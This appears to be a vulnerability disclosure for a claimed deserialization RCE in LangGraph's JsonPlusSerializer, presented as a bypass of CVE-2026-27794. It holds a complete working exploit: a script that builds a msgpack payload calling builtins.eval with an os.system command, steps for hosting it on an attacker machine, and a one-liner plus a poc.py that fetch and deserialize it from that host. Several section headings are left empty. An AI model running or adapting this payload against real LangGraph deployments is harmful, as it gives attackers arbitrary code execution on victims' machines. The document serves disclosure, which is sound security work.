LangGraph - Version 1.1.6 / Remote Code Execution (RCE) via Insecure Deserialization (Bypass of CVE-2026-27794)

Introduction

LangGraph is an open-source library built on top of the LangChain ecosystem, designed for building stateful, multi-actor applications with Large Language Models (LLMs). It allows developers to define, coordinate, and orchestrate complex agentic workflows using graph-based structures containing nodes and edges.

The core strength of LangGraph lies in its ability to manage cyclic flows, state persistence, and long-term agent memory. It is widely adopted across enterprises to deploy robust, production-grade AI agents that can maintain consistent states across multiple interaction rounds. Because it manages checkpointing and state serialization across databases (like PostgreSQL, Redis, or SQLite), the library is a vital architectural pillar in the modern AI engineering landscape.

Vulnerability Description

This document identifies two critical 0-Day (unpatched) vulnerabilities in langgraph-checkpoint version 4.0.2. While the official advisory for CVE-2026-27794 addresses the default state of the pickle fallback, it fails to remediate—or even document—the structural risks inherent in the msgpack extension mechanism and specific persistence components.

These findings represent a significant bypass of existing security patches, as they allow Remote Code Execution (RCE) even when pickle_fallback is disabled, provided the default configuration is used.

LangGraph (via langgraph-checkpoint) is vulnerable to Remote Code Execution (RCE) through its JsonPlusSerializer component. This serializer implements a custom msgpack extension mechanism to handle complex Python types. Even in the latest "patched" versions (checkpoint v4.0.2), the system defaults to a permissive policy (allowed_msgpack_modules=True) for msgpack extensions. This allows an attacker to trigger arbitrary module imports and function calls (constructors) by providing a crafted msgpack payload with specific extension codes, effectively bypassing the trust boundary established by recent security fixes related to pickle.

The vulnerable code in langgraph/checkpoint/serde/jsonplus.py:

# langgraph/checkpoint/serde/jsonplus.py:82 (Lacking validation by default)
82:                 allowed_msgpack_modules = True

# langgraph/checkpoint/serde/jsonplus.py:603 (The RCE Sink)
603:                 return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])

Technical Impact Analysis

Attack Scenario

Reproduction Steps

On the Raspberry (attacker) - IP 192.168.1.90

kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90
kw0@kw0l4b:~ $

The attacker creates a malicious Msgpack blob that leverages the EXT_CONSTRUCTOR_SINGLE_ARG (code 0) to execute arbitrary code (e.g., launching a calculator). Run the specialized exploit.py script to generate the payload.msgpack:

import ormsgpack

# 0-Day: Using Msgpack Extension Code 0 (EXT_CONSTRUCTOR_SINGLE_ARG)
# This allows calling any module.function(arg)
# We use the 'Universal' pattern with builtins.eval to ensure Cross-Platform compatibility
payload = ("builtins", "eval", "__import__('os').system('calc')") 
inner_data = ormsgpack.packb(payload)
ext_obj = ormsgpack.Ext(0, inner_data)
final_blob = ormsgpack.packb(ext_obj)

with open("payload.msgpack", "wb") as f:
    f.write(final_blob)

print("Payload generated: payload.msgpack")

Run the server to host the payload:

python -m http.server 8000 --bind 0.0.0.0

On Windows (victim) - IP 192.168.1.88

PS L:\Pickle-RCE-Finder\PYPI-langgraph> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88
PS L:\Pickle-RCE-Finder\PYPI-langgraph>

1. Create a .venv, activate it, and install the latest updated version of langgraph (1.1.6):

2. And subsequently, remotely consume the attacker-controlled payload:

python -c "import requests; from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer; JsonPlusSerializer().loads_typed(('msgpack', requests.get('http://192.168.1.90:8000/payload.msgpack').content))"

3. Run the specialized poc.py script to reproduce the vulnerability end-to-end:

Python (poc.py) Victim Deserialization Trigger

import requests
import os
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

# URL controlled by the attacker
ATTACKER_URL = "http://192.168.1.90:8000/payload.msgpack"

def load_remote_state():
    print(f"[*] Fetching state from {ATTACKER_URL}...")
    response = requests.get(ATTACKER_URL)
    
    # Victim uses the default LangGraph serializer
    # Note: Even in langgraph-checkpoint 4.0.2, this is permissive by default
    serde = JsonPlusSerializer()
    
    print("[*] Deserializing remote state...")
    # This triggers the 0-day RCE
    state = serde.loads_typed(("msgpack", response.content))
    print("[+] State loaded successfully.")

if __name__ == "__main__":
    load_remote_state()

Executive Summary: RCE Bypass via Insecure Msgpack Deserialization in LangGraph

The research identifies a critical Remote Code Execution (RCE) vulnerability in langgraph-checkpoint (v4.0.2) within the JsonPlusSerializer component. This vulnerability effectively bypasses the recent patches for CVE-2026-27794.

• Root Cause: The JsonPlusSerializer uses a permissive configuration (allowed_msgpack_modules=True) for msgpack extensions. It utilizes an insecure sink that dynamically imports modules and executes functions based on user-supplied data.
• Exploitation Mechanism: By leveraging msgpack extension codes (specifically EXT_CONSTRUCTOR_SINGLE_ARG), an attacker can craft a payload that triggers builtins.eval or other arbitrary function calls upon deserialization. This occurs even when pickle_fallback is disabled, as the vulnerability resides within the msgpack handling logic.

Analysis of Scope and Security Implications

This vulnerability is of critical severity as it targets the state serialization mechanism central to LLM agent orchestration.

Conclusion and Recommendation

This is a critical-severity vulnerability that renders existing pickle-centric mitigations ineffective.